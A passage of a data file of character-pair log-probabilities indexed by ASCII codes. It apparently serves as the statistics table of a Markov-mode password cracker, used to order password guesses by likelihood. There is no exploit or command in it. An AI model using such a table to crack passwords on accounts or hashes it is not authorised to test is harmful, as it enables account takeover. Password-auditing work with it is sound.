-41=proba2[83*256+117] -59=proba2[83*256+119] -66=proba2[83*256+120] -48=proba2[83*256+121] -64=proba1[84] -66=proba2[84*256+33] -66=proba2[84*256+39] -66=proba2[84*256+43] -66=proba2[84*256+44] -59=proba2[84*256+45] -52=proba2[84*256+48] -42=proba2[84*256+49] -39=proba2[84*256+50] -50=proba2[84*256+51] -46=proba2[84*256+52] -48=proba2[84*256+53] -44=proba2[84*256+54] -48=proba2[84*256+55] -48=proba2[84*256+56] -44=proba2[84*256+57] -24=proba2[84*256+65] -48=proba2[84*256+66] -37=proba2[84*256+67] -48=proba2[84*256+68] -22=proba2[84*256+69] -50=proba2[84*256+70] -48=proba2[84*256+71] -33=proba2[84*256+72] -24=proba2[84*256+73] -50=proba2[84*256+74] -66=proba2[84*256+75] -44=proba2[84*256+76] -43=proba2[84*256+77] -45=proba2[84*256+78] -23=proba2[84*256+79] -52=proba2[84*256+80] -31=proba2[84*256+82] -42=proba2[84*256+83] -31=proba2[84*256+84] -39=proba2[84*256+85] -55=proba2[84*256+86] -50=proba2[84*256+87] -59=proba2[84*256+88] -39=proba2[84*256+89] -52=proba2[84*256+90] -37=proba2[84*256+97] -50=proba2[84*256+98] -55=proba2[84*256+99] -66=proba2[84*256+100] -39=proba2[84*256+101] -52=proba2[84*256+102] -66=proba2[84*256+103] -33=proba2[84*256+104] -37=proba2[84*256+105] -66=proba2[84*256+106] -66=proba2[84*256+108] -59=proba2[84*256+110] -34=proba2[84*256+111] -48=proba2[84*256+112] -55=proba2[84*256+113] -41=proba2[84*256+114] -66=proba2[84*256+115] -55=proba2[84*256+116] -42=proba2[84*256+117] -66=proba2[84*256+118] -59=proba2[84*256+119] -59=proba2[84*256+120] -46=proba2[84*256+121] -81=proba1[85] -61=proba2[85*256+42] -61=proba2[85*256+45] -61=proba2[85*256+48] -37=proba2[85*256+49] -43=proba2[85*256+50] -50=proba2[85*256+51] -44=proba2[85*256+52] -54=proba2[85*256+53] -50=proba2[85*256+54] -40=proba2[85*256+55] -43=proba2[85*256+57] -61=proba2[85*256+64] -40=proba2[85*256+65] -32=proba2[85*256+66] -28=proba2[85*256+67] -28=proba2[85*256+68] -30=proba2[85*256+69] -44=proba2[85*256+70] -43=proba2[85*256+71] -54=proba2[85*256+72] -31=proba2[85*256+73] -54=proba2[85*256+74] -47=proba2[85*256+75] -25=proba2[85*256+76] -34=proba2[85*256+77] -28=proba2[85*256+78] -54=proba2[85*256+79] -39=proba2[85*256+80] -24=proba2[85*256+82] -24=proba2[85*256+83] -33=proba2[85*256+84] -50=proba2[85*256+85] -41=proba2[85*256+86] -54=proba2[85*256+87] -44=proba2[85*256+88] -39=proba2[85*256+90] -50=proba2[85*256+97] -61=proba2[85*256+98] -54=proba2[85*256+101] -61=proba2[85*256+102] -54=proba2[85*256+103] -61=proba2[85*256+104] -54=proba2[85*256+105] -61=proba2[85*256+106] -61=proba2[85*256+107] -47=proba2[85*256+108] -61=proba2[85*256+109] -36=proba2[85*256+110] -61=proba2[85*256+112] -50=proba2[85*256+114] -43=proba2[85*256+115] -61=proba2[85*256+116] -61=proba2[85*256+118] -50=proba2[85*256+120] -47=proba2[85*256+121] -50=proba2[85*256+122] -73=proba1[86] -55=proba2[86*256+33] -55=proba2[86*256+43] -55=proba2[86*256+46] -55=proba2[86*256+48] -31=proba2[86*256+49] -31=proba2[86*256+50] -37=proba2[86*256+51] -55=proba2[86*256+52] -48=proba2[86*256+53] -44=proba2[86*256+54] -48=proba2[86*256+55] -48=proba2[86*256+56] -48=proba2[86*256+57] -20=proba2[86*256+65] -44=proba2[86*256+66] -55=proba2[86*256+67] -35=proba2[86*256+68] -22=proba2[86*256+69] -48=proba2[86*256+70] -48=proba2[86*256+71] -48=proba2[86*256+72] -25=proba2[86*256+73] -44=proba2[86*256+74] -55=proba2[86*256+75] -44=proba2[86*256+76] -34=proba2[86*256+79] -44=proba2[86*256+80] -55=proba2[86*256+81] -41=proba2[86*256+82] -41=proba2[86*256+83] -38=proba2[86*256+84] -55=proba2[86*256+85] -44=proba2[86*256+86] -55=proba2[86*256+87] -55=proba2[86*256+89] -55=proba2[86*256+90] -26=proba2[86*256+97] -29=proba2[86*256+101] -44=proba2[86*256+102] -55=proba2[86*256+103] -55=proba2[86*256+104] -27=proba2[86*256+105] -48=proba2[86*256+107] -55=proba2[86*256+108] -48=proba2[86*256+109] -41=proba2[86*256+111] -48=proba2[86*256+112] -44=proba2[86*256+114] -55=proba2[86*256+117] -48=proba2[86*256+118] -55=proba2[86*256+122] -79=proba1[87] -51=proba2[87*256+33] -51=proba2[87*256+42] -40=proba2[87*256+46] -51=proba2[87*256+48] -35=proba2[87*256+49] -44=proba2[87*256+50] -35=proba2[87*256+51] -44=proba2[87*256+52] -51=proba2[87*256+53] -44=proba2[87*256+54] -37=proba2[87*256+55] -51=proba2[87*256+63] -22=proba2[87*256+65] -44=proba2[87*256+66] -40=proba2[87*256+67] -51=proba2[87*256+68] -33=proba2[87*256+69] -51=proba2[87*256+70] -51=proba2[87*256+71] -30=proba2[87*256+72] -31=proba2[87*256+73] -44=proba2[87*256+74] -40=proba2[87*256+75] -40=proba2[87*256+76] -37=proba2[87*256+77] -44=proba2[87*256+78] -33=proba2[87*256+79] -40=proba2[87*256+80] -35=proba2[87*256+81] -40=proba2[87*256+82] -40=proba2[87*256+83] -40=proba2[87*256+84] -51=proba2[87*256+85] -51=proba2[87*256+86] -44=proba2[87*256+87] -51=proba2[87*256+88] -44=proba2[87*256+90] -28=proba2[87*256+97] -51=proba2[87*256+100] -27=proba2[87*256+101] -40=proba2[87*256+104] -33=proba2[87*256+105] -51=proba2[87*256+106] -37=proba2[87*256+107] -51=proba2[87*256+110] -40=proba2[87*256+111] -37=proba2[87*256+113] -44=proba2[87*256+114] -51=proba2[87*256+115] -51=proba2[87*256+120] -80=proba1[88] -50=proba2[88*256+45] -50=proba2[88*256+46] -39=proba2[88*256+48] -30=proba2[88*256+49] -27=proba2[88*256+50] -43=proba2[88*256+51] -34=proba2[88*256+52] -50=proba2[88*256+53] -39=proba2[88*256+54] -34=proba2[88*256+55] -50=proba2[88*256+56] -50=proba2[88*256+57] -28=proba2[88*256+65] -50=proba2[88*256+66] -30=proba2[88*256+67] -32=proba2[88*256+68] -32=proba2[88*256+69] -36=proba2[88*256+70] -39=proba2[88*256+71] -34=proba2[88*256+73] -50=proba2[88*256+74] -50=proba2[88*256+75] -50=proba2[88*256+77] -43=proba2[88*256+78] -39=proba2[88*256+79] -34=proba2[88*256+80] -39=proba2[88*256+82] -39=proba2[88*256+83] -43=proba2[88*256+84] -50=proba2[88*256+85] -50=proba2[88*256+86] -39=proba2[88*256+87] -25=proba2[88*256+88] -39=proba2[88*256+89] -36=proba2[88*256+97] -50=proba2[88*256+99] -43=proba2[88*256+100] -43=proba2[88*256+101] -39=proba2[88*256+103] -50=proba2[88*256+104] -50=proba2[88*256+105] -50=proba2[88*256+106] -50=proba2[88*256+109] -50=proba2[88*256+111] -50=proba2[88*256+112] -50=proba2[88*256+113] -39=proba2[88*256+114] -50=proba2[88*256+116] -50=proba2[88*256+118] -39=proba2[88*256+119] -50=proba2[88*256+120] -50=proba2[88*256+121] -39=proba2[88*256+122] -78=proba1[89] -47=proba2[89*256+32] -54=proba2[89*256+38] -54=proba2[89*256+45] -43=proba2[89*256+48] -30=proba2[89*256+49] -43=proba2[89*256+50] -47=proba2[89*256+51] -47=proba2[89*256+52] -40=proba2[89*256+53] -36=proba2[89*256+54] -33=proba2[89*256+55] -54=proba2[89*256+56] -43=proba2[89*256+57] -28=proba2[89*256+65] -43=proba2[89*256+66] -35=proba2[89*256+67] -33=proba2[89*256+68] -38=proba2[89*256+69] -54=proba2[89*256+70] -28=proba2[89*256+71] -54=proba2[89*256+72] -43=proba2[89*256+73] -54=proba2[89*256+74] -47=proba2[89*256+75] -31=proba2[89*256+76] -31=proba2[89*256+77] -38=proba2[89*256+78] -28=proba2[89*256+79] -36=proba2[89*256+80] -40=proba2[89*256+81] -47=proba2[89*256+82] -31=proba2[89*256+83] -43=proba2[89*256+84] -47=proba2[89*256+85] -54=proba2[89*256+86] -54=proba2[89*256+87] -54=proba2[89*256+88] -54=proba2[89*256+89] -38=proba2[89*256+90] -36=proba2[89*256+97] -54=proba2[89*256+99] -47=proba2[89*256+100] -54=proba2[89*256+101] -38=proba2[89*256+103] -54=proba2[89*256+104] -47=proba2[89*256+105] -47=proba2[89*256+106] -43=proba2[89*256+107] -47=proba2[89*256+108] -54=proba2[89*256+110] -33=proba2[89*256+111] -47=proba2[89*256+112] -54=proba2[89*256+114] -47=proba2[89*256+115] -43=proba2[89*256+116] -54=proba2[89*256+117] -47=proba2[89*256+118] -35=proba2[89*256+119] -54=proba2[89*256+120] -47=proba2[89*256+122] -76=proba1[90] -54=proba2[90*256+32] -54=proba2[90*256+38] -54=proba2[90*256+42] -33=proba2[90*256+48] -34=proba2[90*256+49] -34=proba2[90*256+50] -47=proba2[90*256+51] -32=proba2[90*256+52] -40=proba2[90*256+53] -38=proba2[90*256+54] -40=proba2[90*256+55] -54=proba2[90*256+56] -54=proba2[90*256+57] -25=proba2[90*256+65] -38=proba2[90*256+66] -47=proba2[90*256+67] -47=proba2[90*256+68] -24=proba2[90*256+69] -38=proba2[90*256+70] -31=proba2[90*256+73] -43=proba2[90*256+74] -43=proba2[90*256+75] -47=proba2[90*256+76] -54=proba2[90*256+77] -25=proba2[90*256+79] -54=proba2[90*256+80] -47=proba2[90*256+81] -47=proba2[90*256+82] -43=proba2[90*256+83] -43=proba2[90*256+84] -43=proba2[90*256+85] -47=proba2[90*256+86] -47=proba2[90*256+87] -47=proba2[90*256+88] -47=proba2[90*256+89] -34=proba2[90*256+90] -36=proba2[90*256+97] -54=proba2[90*256+98] -54=proba2[90*256+99] -54=proba2[90*256+100] -34=proba2[90*256+101] -38=proba2[90*256+105] -54=proba2[90*256+106] -40=proba2[90*256+107] -47=proba2[90*256+109] -47=proba2[90*256+110] -32=proba2[90*256+111] -47=proba2[90*256+112] -47=proba2[90*256+115] -54=proba2[90*256+116] -33=proba2[90*256+117] -43=proba2[90*256+120] -54=proba2[90*256+121] -97=proba1[91] -23=proba2[91*256+48] -23=proba2[91*256+57] -17=proba2[91*256+77] -23=proba2[91*256+83] -23=proba2[91*256+93] -23=proba2[91*256+97] -17=proba2[91*256+98] -23=proba2[91*256+110] -23=proba2[91*256+117] -118=proba1[93] -12=proba2[93*256+48] -19=proba2[93*256+54] -19=proba2[93*256+59] -12=proba2[93*256+64] -19=proba2[93*256+125] -23=proba2[94*256+40] -23=proba2[94*256+41] -23=proba2[94*256+42] -23=proba2[94*256+49] -23=proba2[94*256+95] -23=proba2[94*256+98] -16=proba2[94*256+99] -23=proba2[94*256+109] -23=proba2[94*256+110] -98=proba1[95] -35=proba2[95*256+33] -49=proba2[95*256+41] -49=proba2[95*256+42] -49=proba2[95*256+43] -42=proba2[95*256+45] -33=proba2[95*256+48] -29=proba2[95*256+49] -31=proba2[95*256+50] -42=proba2[95*256+51] -42=proba2[95*256+52] -42=proba2[95*256+53] -35=proba2[95*256+54] -49=proba2[95*256+55] -49=proba2[95*256+56] -29=proba2[95*256+57] -49=proba2[95*256+64] -49=proba2[95*256+65] -49=proba2[95*256+68] -49=proba2[95*256+72] -49=proba2[95*256+77] -49=proba2[95*256+80] -49=proba2[95*256+85] -27=proba2[95*256+95] -35=proba2[95*256+97] -49=proba2[95*256+98] -33=proba2[95*256+99] -27=proba2[95*256+100] -38=proba2[95*256+101] -29=proba2[95*256+102] -49=proba2[95*256+103] -49=proba2[95*256+104] -49=proba2[95*256+105] -42=proba2[95*256+106] -42=proba2[95*256+107] -33=proba2[95*256+108] -49=proba2[95*256+109] -35=proba2[95*256+111] -42=proba2[95*256+112] -35=proba2[95*256+114] -38=proba2[95*256+115] -31=proba2[95*256+116] -49=proba2[95*256+117] -38=proba2[95*256+118] -42=proba2[95*256+119] -42=proba2[95*256+120] -42=proba2[95*256+121] -42=proba2[95*256+122] -49=proba2[95*256+126] -118=proba1[96] -10=proba2[96*256+49] -10=proba2[96*256+51] -10=proba2[96*256+100] -27=proba1[97] -85=proba2[97*256+32] -83=proba2[97*256+33] -112=proba2[97*256+34] -98=proba2[97*256+35] -98=proba2[97*256+36] -105=proba2[97*256+37] -86=proba2[97*256+38] -112=proba2[97*256+39] -105=proba2[97*256+40] -105=proba2[97*256+41] -98=proba2[97*256+42] -98=proba2[97*256+43] -98=proba2[97*256+44] -83=proba2[97*256+45] -84=proba2[97*256+46] -57=proba2[97*256+48] -46=proba2[97*256+49] -51=proba2[97*256+50] -59=proba2[97*256+51] -61=proba2[97*256+52] -62=proba2[97*256+53] -60=proba2[97*256+54] -58=proba2[97*256+55] -64=proba2[97*256+56] -55=proba2[97*256+57] -98=proba2[97*256+59] -112=proba2[97*256+60] -98=proba2[97*256+61] -101=proba2[97*256+62] -105=proba2[97*256+63] -105=proba2[97*256+64] -112=proba2[97*256+65] -98=proba2[97*256+66] -92=proba2[97*256+67] -105=proba2[97*256+68] -98=proba2[97*256+70] -98=proba2[97*256+71] -105=proba2[97*256+72] -112=proba2[97*256+73] -105=proba2[97*256+74] -92=proba2[97*256+75] -101=proba2[97*256+76] -88=proba2[97*256+77] -98=proba2[97*256+78] -105=proba2[97*256+79] -85=proba2[97*256+80] -105=proba2[97*256+81] -91=proba2[97*256+82] -94=proba2[97*256+83] -98=proba2[97*256+84] -101=proba2[97*256+86] -112=proba2[97*256+87] -112=proba2[97*256+88] -112=proba2[97*256+90] -112=proba2[97*256+93] -83=proba2[97*256+95] -44=proba2[97*256+97] -32=proba2[97*256+98] -31=proba2[97*256+99] -32=proba2[97*256+100] -45=proba2[97*256+101] -42=proba2[97*256+102] -34=proba2[97*256+103] -45=proba2[97*256+104] -32=proba2[97*256+105] -52=proba2[97*256+106] -41=proba2[97*256+107] -23=proba2[97*256+108] -28=proba2[97*256+109] -18=proba2[97*256+110] -49=proba2[97*256+111] -37=proba2[97*256+112] -57=proba2[97*256+113] -20=proba2[97*256+114] -28=proba2[97*256+115] -27=proba2[97*256+116] -30=proba2[97*256+117] -38=proba2[97*256+118] -52=proba2[97*256+119] -46=proba2[97*256+120] -41=proba2[97*256+121] -40=proba2[97*256+122] -28=proba1[98] -86=proba2[98*256+32] -89=proba2[98*256+33] -99=proba2[98*256+36] -93=proba2[98*256+38] -99=proba2[98*256+40] -99=proba2[98*256+41] -99=proba2[98*256+42] -93=proba2[98*256+43] -99=proba2[98*256+44] -89=proba2[98*256+45] -80=proba2[98*256+46] -52=proba2[98*256+48] -46=proba2[98*256+49] -48=proba2[98*256+50] -54=proba2[98*256+51] -59=proba2[98*256+52] -59=proba2[98*256+53] -56=proba2[98*256+54] -55=proba2[98*256+55] -59=proba2[98*256+56] -55=proba2[98*256+57] -99=proba2[98*256+59] -93=proba2[98*256+61] -99=proba2[98*256+63] -93=proba2[98*256+64] -83=proba2[98*256+65] -93=proba2[98*256+66] -99=proba2[98*256+67] -89=proba2[98*256+68] -99=proba2[98*256+69] -93=proba2[98*256+70] -83=proba2[98*256+71] -86=proba2[98*256+73] -93=proba2[98*256+74] -99=proba2[98*256+75] -93=proba2[98*256+78] -86=proba2[98*256+82] -93=proba2[98*256+83] -93=proba2[98*256+84] -99=proba2[98*256+90] -86=proba2[98*256+95] -18=proba2[98*256+97] -37=proba2[98*256+98] -40=proba2[98*256+99] -41=proba2[98*256+100] -16=proba2[98*256+101] -49=proba2[98*256+102] -49=proba2[98*256+103] -53=proba2[98*256+104] -22=proba2[98*256+105] -51=proba2[98*256+106] -56=proba2[98*256+107] -28=proba2[98*256+108] -45=proba2[98*256+109] -50=proba2[98*256+110] -18=proba2[98*256+111] -50=proba2[98*256+112] -63=proba2[98*256+113] -25=proba2[98*256+114] -40=proba2[98*256+115] -49=proba2[98*256+116] -31=proba2[98*256+117] -54=proba2[98*256+118] -56=proba2[98*256+119] -60=proba2[98*256+120] -40=proba2[98*256+121] -53=proba2[98*256+122] -25=proba1[99] -87=proba2[99*256+32] -81=proba2[99*256+33] -103=proba2[99*256+34] -92=proba2[99*256+36] -103=proba2[99*256+37] -85=proba2[99*256+38] -96=proba2[99*256+39] -89=proba2[99*256+42] -89=proba2[99*256+43] -92=proba2[99*256+44] -85=proba2[99*256+45] -89=proba2[99*256+46] -55=proba2[99*256+48] -45=proba2[99*256+49] -49=proba2[99*256+50] -56=proba2[99*256+51] -60=proba2[99*256+52] -62=proba2[99*256+53] -57=proba2[99*256+54] -60=proba2[99*256+55] -65=proba2[99*256+56] -56=proba2[99*256+57] -96=proba2[99*256+59] -85=proba2[99*256+61] -89=proba2[99*256+64] -89=proba2[99*256+65] -103=proba2[99*256+66] -96=proba2[99*256+67] -103=proba2[99*256+68] -92=proba2[99*256+69] -87=proba2[99*256+70] -87=proba2[99*256+72] -103=proba2[99*256+74] -103=proba2[99*256+75] -103=proba2[99*256+76] -103=proba2[99*256+80] -92=proba2[99*256+81] -103=proba2[99*256+82] -92=proba2[99*256+83] -96=proba2[99*256+84] -92=proba2[99*256+85] -103=proba2[99*256+86] -103=proba2[99*256+88] -87=proba2[99*256+89] -92=proba2[99*256+95] -19=proba2[99*256+97] -44=proba2[99*256+98] -39=proba2[99*256+99] -43=proba2[99*256+100] -24=proba2[99*256+101] -49=proba2[99*256+102] -48=proba2[99*256+103] -16=proba2[99*256+104] -31=proba2[99*256+105] -53=proba2[99*256+106] -28=proba2[99*256+107] -30=proba2[99*256+108] -43=proba2[99*256+109] -50=proba2[99*256+110] -18=proba2[99*256+111] -45=proba2[99*256+112] -50=proba2[99*256+113] -31=proba2[99*256+114] -43=proba2[99*256+115] -37=proba2[99*256+116] -39=proba2[99*256+117] -48=proba2[99*256+118] -58=proba2[99*256+119] -62=proba2[99*256+120] -38=proba2[99*256+121] -62=proba2[99*256+122] -103=proba2[99*256+124] -30=proba1[100] -100=proba2[100*256+32] -76=proba2[100*256+33] -86=proba2[100*256+35] -100=proba2[100*256+37] -86=proba2[100*256+38] -84=proba2[100*256+39] -86=proba2[100*256+42] -100=proba2[100*256+43] -79=proba2[100*256+45] -84=proba2[100*256+46] -49=proba2[100*256+48] -43=proba2[100*256+49] -47=proba2[100*256+50] -53=proba2[100*256+51] -55=proba2[100*256+52] -57=proba2[100*256+53] -54=proba2[100*256+54] -54=proba2[100*256+55] -61=proba2[100*256+56] -53=proba2[100*256+57] -89=proba2[100*256+59] -100=proba2[100*256+61] -100=proba2[100*256+64] -93=proba2[100*256+65] -93=proba2[100*256+66] -100=proba2[100*256+68] -84=proba2[100*256+69] -100=proba2[100*256+70] -93=proba2[100*256+71] -93=proba2[100*256+72] -100=proba2[100*256+73] -100=proba2[100*256+76] -84=proba2[100*256+77] -93=proba2[100*256+78] -100=proba2[100*256+79] -89=proba2[100*256+80] -100=proba2[100*256+81] -100=proba2[100*256+82] -93=proba2[100*256+83] -100=proba2[100*256+84] -93=proba2[100*256+85] -100=proba2[100*256+86] -93=proba2[100*256+87] -100=proba2[100*256+89] -89=proba2[100*256+90] -86=proba2[100*256+95] -20=proba2[100*256+97] -41=proba2[100*256+98] -41=proba2[100*256+99] -38=proba2[100*256+100] -15=proba2[100*256+101] -43=proba2[100*256+102] -43=proba2[100*256+103] -46=proba2[100*256+104] -21=proba2[100*256+105] -36=proba2[100*256+106] -52=proba2[100*256+107] -41=proba2[100*256+108] -40=proba2[100*256+109] -48=proba2[100*256+110] -21=proba2[100*256+111] -45=proba2[100*256+112] -64=proba2[100*256+113] -26=proba2[100*256+114] -38=proba2[100*256+115] -47=proba2[100*256+116] -29=proba2[100*256+117] -49=proba2[100*256+118] -50=proba2[100*256+119] -57=proba2[100*256+120] -37=proba2[100*256+121] -53=proba2[100*256+122] -36=proba1[101] -75=proba2[101*256+32] -82=proba2[101*256+33] -91=proba2[101*256+35] -91=proba2[101*256+36] -110=proba2[101*256+37] -89=proba2[101*256+38] -103=proba2[101*256+39] -103=proba2[101*256+40] -103=proba2[101*256+41] -84=proba2[101*256+42] -92=proba2[101*256+43] -96=proba2[101*256+44] -78=proba2[101*256+45] -87=proba2[101*256+46] -54=proba2[101*256+48] -42=proba2[101*256+49] -47=proba2[101*256+50] -54=proba2[101*256+51] -58=proba2[101*256+52] -58=proba2[101*256+53] -56=proba2[101*256+54] -54=proba2[101*256+55] -61=proba2[101*256+56] -52=proba2[101*256+57] -103=proba2[101*256+59] -92=proba2[101*256+61] -103=proba2[101*256+63] -91=proba2[101*256+64] -103=proba2[101*256+65] -92=proba2[101*256+66] -92=proba2[101*256+67] -89=proba2[101*256+68] -110=proba2[101*256+69] -99=proba2[101*256+70] -99=proba2[101*256+71] -99=proba2[101*256+72] -110=proba2[101*256+73] -103=proba2[101*256+74] -92=proba2[101*256+75] -91=proba2[101*256+76] -92=proba2[101*256+77] -96=proba2[101*256+78] -110=proba2[101*256+79] -110=proba2[101*256+80] -103=proba2[101*256+81] -87=proba2[101*256+82] -87=proba2[101*256+83] -94=proba2[101*256+84] -92=proba2[101*256+85] -103=proba2[101*256+86] -99=proba2[101*256+87] -96=proba2[101*256+88] -110=proba2[101*256+89] -94=proba2[101*256+90] -110=proba2[101*256+93] -103=proba2[101*256+94] -83=proba2[101*256+95] -32=proba2[101*256+97] -33=proba2[101*256+98] -33=proba2[101*256+99] -32=proba2[101*256+100] -38=proba2[101*256+101] -41=proba2[101*256+102] -38=proba2[101*256+103] -51=proba2[101*256+104] -40=proba2[101*256+105] -53=proba2[101*256+106] -47=proba2[101*256+107] -22=proba2[101*256+108] -33=proba2[101*256+109] -23=proba2[101*256+110] -44=proba2[101*256+111] -38=proba2[101*256+112] -62=proba2[101*256+113] -16=proba2[101*256+114] -25=proba2[101*256+115] -26=proba2[101*256+116] -35=proba2[101*256+117] -39=proba2[101*256+118] -49=proba2[101*256+119] -41=proba2[101*256+120] -43=proba2[101*256+121] -45=proba2[101*256+122] -110=proba2[101*256+126] -31=proba1[102] -84=proba2[102*256+32] -74=proba2[102*256+33] -88=proba2[102*256+38] -88=proba2[102*256+41] -95=proba2[102*256+42] -84=proba2[102*256+44] -84=proba2[102*256+45] -81=proba2[102*256+46] -52=proba2[102*256+48] -41=proba2[102*256+49] -46=proba2[102*256+50] -54=proba2[102*256+51] -53=proba2[102*256+52] -52=proba2[102*256+53] -53=proba2[102*256+54] -53=proba2[102*256+55] -57=proba2[102*256+56] -52=proba2[102*256+57] -88=proba2[102*256+64] -84=proba2[102*256+65] -84=proba2[102*256+66] -88=proba2[102*256+67] -88=proba2[102*256+68] -95=proba2[102*256+69] -95=proba2[102*256+70] -88=proba2[102*256+72] -95=proba2[102*256+73] -95=proba2[102*256+74] -95=proba2[102*256+75] -95=proba2[102*256+76] -81=proba2[102*256+78] -95=proba2[102*256+80] -95=proba2[102*256+84] -95=proba2[102*256+85] -88=proba2[102*256+86] -95=proba2[102*256+87] -88=proba2[102*256+90] -81=proba2[102*256+95] -20=proba2[102*256+97] -41=proba2[102*256+98] -40=proba2[102*256+99] -42=proba2[102*256+100] -25=proba2[102*256+101] -28=proba2[102*256+102] -40=proba2[102*256+103] -52=proba2[102*256+104] -24=proba2[102*256+105] -50=proba2[102*256+106] -51=proba2[102*256+107] -26=proba2[102*256+108] -40=proba2[102*256+109] -50=proba2[102*256+110] -22=proba2[102*256+111] -43=proba2[102*256+112] -64=proba2[102*256+113] -17=proba2[102*256+114] -40=proba2[102*256+115] -35=proba2[102*256+116] -31=proba2[102*256+117] -51=proba2[102*256+118] -54=proba2[102*256+119] -48=proba2[102*256+120] -48=proba2[102*256+121] -59=proba2[102*256+122] -32=proba1[103] -86=proba2[103*256+32] -81=proba2[103*256+33] -97=proba2[103*256+35] -90=proba2[103*256+36] -97=proba2[103*256+38] -83=proba2[103*256+39] -97=proba2[103*256+42] -90=proba2[103*256+43] -83=proba2[103*256+45] -90=proba2[103*256+46] -55=proba2[103*256+48] -46=proba2[103*256+49] -49=proba2[103*256+50] -56=proba2[103*256+51] -59=proba2[103*256+52] -57=proba2[103*256+53] -56=proba2[103*256+54] -56=proba2[103*256+55] -61=proba2[103*256+56] -56=proba2[103*256+57] -97=proba2[103*256+59] -97=proba2[103*256+60] -86=proba2[103*256+64] -81=proba2[103*256+65] -83=proba2[103*256+66] -97=proba2[103*256+67] -97=proba2[103*256+68] -86=proba2[103*256+69] -97=proba2[103*256+70] -97=proba2[103*256+71] -90=proba2[103*256+72] -97=proba2[103*256+74] -97=proba2[103*256+75] -97=proba2[103*256+76] -90=proba2[103*256+78] -90=proba2[103*256+79] -83=proba2[103*256+80] -97=proba2[103*256+84] -97=proba2[103*256+86] -83=proba2[103*256+87] -90=proba2[103*256+90] -97=proba2[103*256+94] -86=proba2[103*256+95] -18=proba2[103*256+97] -41=proba2[103*256+98] -46=proba2[103*256+99] -43=proba2[103*256+100] -18=proba2[103*256+101] -48=proba2[103*256+102] -38=proba2[103*256+103] -35=proba2[103*256+104] -24=proba2[103*256+105] -55=proba2[103*256+106] -54=proba2[103*256+107] -32=proba2[103*256+108] -42=proba2[103*256+109] -32=proba2[103*256+110] -21=proba2[103*256+111] -45=proba2[103*256+112] -67=proba2[103*256+113] -25=proba2[103*256+114] -41=proba2[103*256+115] -45=proba2[103*256+116] -23=proba2[103*256+117] -55=proba2[103*256+118] -47=proba2[103*256+119] -61=proba2[103*256+120] -43=proba2[103*256+121] -57=proba2[103*256+122] -38=proba1[104] -79=proba2[104*256+32] -90=proba2[104*256+33] -97=proba2[104*256+39] -97=proba2[104*256+42] -90=proba2[104*256+45] -84=proba2[104*256+46] -53=proba2[104*256+48] -47=proba2[104*256+49] -49=proba2[104*256+50] -56=proba2[104*256+51] -58=proba2[104*256+52] -59=proba2[104*256+53] -56=proba2[104*256+54] -55=proba2[104*256+55] -60=proba2[104*256+56] -55=proba2[104*256+57] -97=proba2[104*256+59] -97=proba2[104*256+60] -97=proba2[104*256+61] -86=proba2[104*256+64] -86=proba2[104*256+65] -86=proba2[104*256+66] -90=proba2[104*256+67] -97=proba2[104*256+68] -81=proba2[104*256+71] -97=proba2[104*256+74] -97=proba2[104*256+75] -97=proba2[104*256+79] -97=proba2[104*256+80] -97=proba2[104*256+81] -97=proba2[104*256+82] -86=proba2[104*256+83] -81=proba2[104*256+84] -97=proba2[104*256+87] -86=proba2[104*256+88] -84=proba2[104*256+89] -90=proba2[104*256+95] -14=proba2[104*256+97] -45=proba2[104*256+98] -47=proba2[104*256+99] -47=proba2[104*256+100] -16=proba2[104*256+101] -54=proba2[104*256+102] -53=proba2[104*256+103] -54=proba2[104*256+104] -19=proba2[104*256+105] -56=proba2[104*256+106] -54=proba2[104*256+107] -41=proba2[104*256+108] -42=proba2[104*256+109] -41=proba2[104*256+110] -20=proba2[104*256+111] -47=proba2[104*256+112] -59=proba2[104*256+113] -32=proba2[104*256+114] -48=proba2[104*256+115] -39=proba2[104*256+116] -31=proba2[104*256+117] -58=proba2[104*256+118] -56=proba2[104*256+119] -57=proba2[104*256+120] -39=proba2[104*256+121] -59=proba2[104*256+122] -42=proba1[105] -95=proba2[105*256+32] -90=proba2[105*256+33] -108=proba2[105*256+36] -97=proba2[105*256+38] -108=proba2[105*256+39] -108=proba2[105*256+41] -95=proba2[105*256+42] -92=proba2[105*256+43] -108=proba2[105*256+44] -81=proba2[105*256+45] -88=proba2[105*256+46] -59=proba2[105*256+48] -50=proba2[105*256+49] -54=proba2[105*256+50] -61=proba2[105*256+51] -65=proba2[105*256+52] -64=proba2[105*256+53] -62=proba2[105*256+54] -60=proba2[105*256+55] -66=proba2[105*256+56] -58=proba2[105*256+57] -101=proba2[105*256+59] -101=proba2[105*256+61] -101=proba2[105*256+63] -97=proba2[105*256+64] -95=proba2[105*256+65] -101=proba2[105*256+66] -97=proba2[105*256+67] -97=proba2[105*256+68] -97=proba2[105*256+69] -108=proba2[105*256+70] -90=proba2[105*256+71] -101=proba2[105*256+75] -92=proba2[105*256+76] -95=proba2[105*256+77] -90=proba2[105*256+78] -108=proba2[105*256+79] -95=proba2[105*256+80] -95=proba2[105*256+82] -108=proba2[105*256+83] -92=proba2[105*256+84] -108=proba2[105*256+86] -108=proba2[105*256+89] -108=proba2[105*256+90] -90=proba2[105*256+95] -30=proba2[105*256+97] -38=proba2[105*256+98] -24=proba2[105*256+99] -33=proba2[105*256+100] -22=proba2[105*256+101] -43=proba2[105*256+102] -35=proba2[105*256+103] -57=proba2[105*256+104] -54=proba2[105*256+105] -56=proba2[105*256+106] -38=proba2[105*256+107] -24=proba2[105*256+108] -32=proba2[105*256+109] -18=proba2[105*256+110] -32=proba2[105*256+111] -39=proba2[105*256+112] -50=proba2[105*256+113] -30=proba2[105*256+114] -24=proba2[105*256+115] -28=proba2[105*256+116] -50=proba2[105*256+117] -39=proba2[105*256+118] -59=proba2[105*256+119] -45=proba2[105*256+120] -65=proba2[105*256+121] -44=proba2[105*256+122] -108=proba2[105*256+123] -108=proba2[105*256+124] -32=proba1[106] -91=proba2[106*256+33] -91=proba2[106*256+36] -84=proba2[106*256+38] -84=proba2[106*256+39] -91=proba2[106*256+43] -80=proba2[106*256+44] -80=proba2[106*256+45] -80=proba2[106*256+46] -62=proba2[106*256+48] -48=proba2[106*256+49] -50=proba2[106*256+50] -57=proba2[106*256+51] -56=proba2[106*256+52] -58=proba2[106*256+53] -57=proba2[106*256+54] -56=proba2[106*256+55] -62=proba2[106*256+56] -57=proba2[106*256+57] -84=proba2[106*256+63] -84=proba2[106*256+64] -84=proba2[106*256+65] -91=proba2[106*256+68] -91=proba2[106*256+69] -91=proba2[106*256+70] -84=proba2[106*256+75] -91=proba2[106*256+77] -91=proba2[106*256+80] -80=proba2[106*256+81] -84=proba2[106*256+85] 